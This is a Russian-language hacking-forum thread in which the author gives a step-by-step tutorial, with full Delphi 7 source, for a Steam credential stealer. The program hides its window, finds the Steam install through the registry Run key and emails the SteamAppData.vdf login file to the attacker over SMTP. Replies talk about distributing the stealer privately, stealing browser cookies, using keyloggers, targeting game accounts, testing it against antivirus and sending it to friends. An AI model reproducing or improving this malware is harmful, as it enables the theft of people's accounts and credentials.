1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Создаем стиллер Steam на Delphi

Тема в разделе "Наши статьи", создана пользователем by_Trojan, 22 май 2012.

Статус темы:
Закрыта.
  1. TopicStarter Overlay
    by_Trojan

    by_Trojan Гость

    Всем привет и это моя первая статья. Сегодня мы будем писать свой стиллер на Delphi 7.
    Он будет много весить ~800кб

    И так что нам нужно будет реализовать:
    1. Поиск папки стима и самого файла с пассами
    2. Отправка файла на почту.

    Поехали.

    Откроем Delphi 7, создадим проект. Создали? идем дальше.
    [​IMG]

    Чтобы формы не было при открытии стиллера добавим строку.

    [​IMG]

    Код:
    Application.ShowMainForm:= False;
    
    Для работы с реестром в Uses пропишем Registry;
    [​IMG]

    Добавим компонент IdAntiFreeze из вкладки IndyMisc

    [​IMG]

    Добавим переменнные

    [​IMG]

    Код:
    var
    Form1: TForm1;
    m:TIdMessage;
    sm:tidsmtp;
    att:tidattachment;
    
    Создадим процедуру для коннекта и отправки файла

    [​IMG]


    Код:
    procedure send(pathSteam, login, pass, kuda:string);
    begin
    m:=TIdMessage.create(form1);
    m.From.Text:=login;	//логин отправителя
    m.Recipients.Add;
    m.Recipients.Items[0].Text:=kuda; // Кому
    m.Subject:='Привет мой друг';// тема
    m.Body.Text:='Это тебе ;)';// текст
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host:='smtp.mail.ru'; //smtp-адрес
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:=login; //логин отправителя
    sm.Password:=pass;  //пароль отправителя
    sm.Connect();
    if sm.Connected then
    begin
    sm.Send(M);
    end;
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;
    
    [​IMG]


    Код:
    function ReadReg(root:integer; t,key:string):string;
    var
    s:string;
    reg: TRegistry;
    begin
    reg := TRegistry.Create;
    reg.RootKey := root;
    reg.OpenKey(key, true);
    case reg.Getdatatype(t) of
    rdString, rdExpandString:
    s:= reg.ReadString(t);
    rdInteger:
    s:= IntToStr(reg.readinteger(t));
    else
    s:='other type';
    end;
    result:=s;
    reg.Free;
    end;
    
    [​IMG]


    Код:
    function Pars(TextIn, Text, TextOut: string): string;
    var
    TempStr: string;
    begin
    Result := '';
    TempStr := Text;
    TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result := TempStr;
    end;
    
    Кликаем 2раза по форме

    [​IMG]
    [​IMG]

    Применим процедуры

    [​IMG]


    Код:
    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');
    path:=Pars('"',regpath, '"');
    path:=ExtractFilePath(path)+'config\SteamAppData.vdf';
    send(path, 'логин@mail.ru', 'пароль', 'Куда слать@mail.ru');
    end;
    
    Все. С кодом мы закончили. Теперь приступим с изменению иконки и компиляции.

    Чтобы изменить иконку надо
    [​IMG][​IMG]

    Сохраним проект.
    File -> Save as -> Обязательно выберите отдельную папку.

    Компилируем

    [​IMG]

    Сам exe файл соранен в вашу папку с проектом.
    Все стиллер готов :D


    Если кто-то что-то не понял: не стесняйтесь напиши что не поняли я обязательно отвечу на вопрос.
    Всем новичкам в программировании советую начать с языка Delphi. И делать все проекты на Delphi 7 ибо в Delphi 2010, XE Много чего переделанно (вообщем бредовые версии).

    Кто может доработать http://hot-hack.ru/index.php?/topic/309-delphi-steam-stealer/ .

    Всем удачи.
     
    • Like Like x 4
    Метки:
  2. asiman

    asiman

    Регистрация:
    10 май 2012
    Сообщения:
    467
    Симпатии:
    238
    Автор красавчик помог пипец как=)
     
  3. panarama

    panarama

    Регистрация:
    15 май 2012
    Сообщения:
    61
    Симпатии:
    49
    нужно написать приватный стиллер и распространять только проверенным людям и только Please login or register to view links :D в подполье, только тихо B)
    можно сделать чтоб стилил WoT т.к. актуальная игра
     
  4. TopicStarter Overlay
    GRID

    GRID Гость

    как раз дельфи есть семёрка, попробую накодить :D
     
  5. Nmka

    Nmka Почетный юзер

    Регистрация:
    10 май 2012
    Сообщения:
    100
    Симпатии:
    101
    Можно сделать чтоб стилил runescape.com и зарабатывать кучи денег :D
     
  6. panarama

    panarama

    Регистрация:
    15 май 2012
    Сообщения:
    61
    Симпатии:
    49
    нафига стилить отдельный сайт если можно тырить куки браузеров а там уже все будет :D
     
  7. Nmka

    Nmka Почетный юзер

    Регистрация:
    10 май 2012
    Сообщения:
    100
    Симпатии:
    101
    От runescape.com нету это игра на джаве
    И брут неберет её :(
     
  8. panarama

    panarama

    Регистрация:
    15 май 2012
    Сообщения:
    61
    Симпатии:
    49
    а в этой игре есть файл в который сохраняется логи и пасс.
    все равно чел играющий в эту игру заходит на сайт, а значит в куки записываются логи и пассы.
     
  9. Nmka

    Nmka Почетный юзер

    Регистрация:
    10 май 2012
    Сообщения:
    100
    Симпатии:
    101
    Эта игра браузерная... все виды входа ТОЛЬКО на джаве и нечего там сохранить нельзя... Кейлоггером обычно пользуюсь но больно муторно это всё(
     
  10. panarama

    panarama

    Регистрация:
    15 май 2012
    Сообщения:
    61
    Симпатии:
    49
    предлагаю создать совместными усилиями хороший многофункциональный слиллер.
     
  11. TopicStarter Overlay
    by_Trojan

    by_Trojan Гость

    Чтобы его сделать нужно знать Delphi.
    И если кто то будет модернизировать его то в разделе Source я выложил 0.01v
    Выкладыйвайте свои
     
  12. ViP4iK

    ViP4iK

    Регистрация:
    13 май 2012
    Сообщения:
    203
    Симпатии:
    100
    Хз, но когда я доделываю его с точностью по инструкции у меня ошибки при компилировании, первая это что то с type =(
     
  13. TopicStarter Overlay
    danil7496

    danil7496 Гость

    Блин зачем форма зачем :eek:
     
  14. TopicStarter Overlay
    teppopuct

    teppopuct Гость

    Так он палиться или нет?
     
  15. TopicStarter Overlay
    MavGic

    MavGic Гость

    У меня куча ошибок.Может кто-то скинуть исходник???
     
  16. TopicStarter Overlay
    Bender222

    Bender222 Гость

    чёт другу отправил! и ни чё не сработало только ошибку выдало!
     
  17. SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Прежде чем отпровлять другу нужно у себя на компе проверить или хотябы на виртуалке с каким нибуть антивирусом например с авастом т.к им пользуются 70% населения.
     
  18. TopicStarter Overlay
    Bender222

    Bender222 Гость

    дак я на компе тоже проверял! у меня сработало а у друзей нет!
     
  19. Серегаq3242134

    Серегаq3242134

    Регистрация:
    4 апр 2015
    Сообщения:
    1
    Симпатии:
    0
    ошибка при компилировании
     
  20. BoberMod

    BoberMod Временно недоступен

    Регистрация:
    11 окт 2013
    Сообщения:
    571
    Симпатии:
    539
    [​IMG]
    И скрин ошибки прикреплять надо!
     
Статус темы:
Закрыта.

Поделиться этой страницей

Загрузка...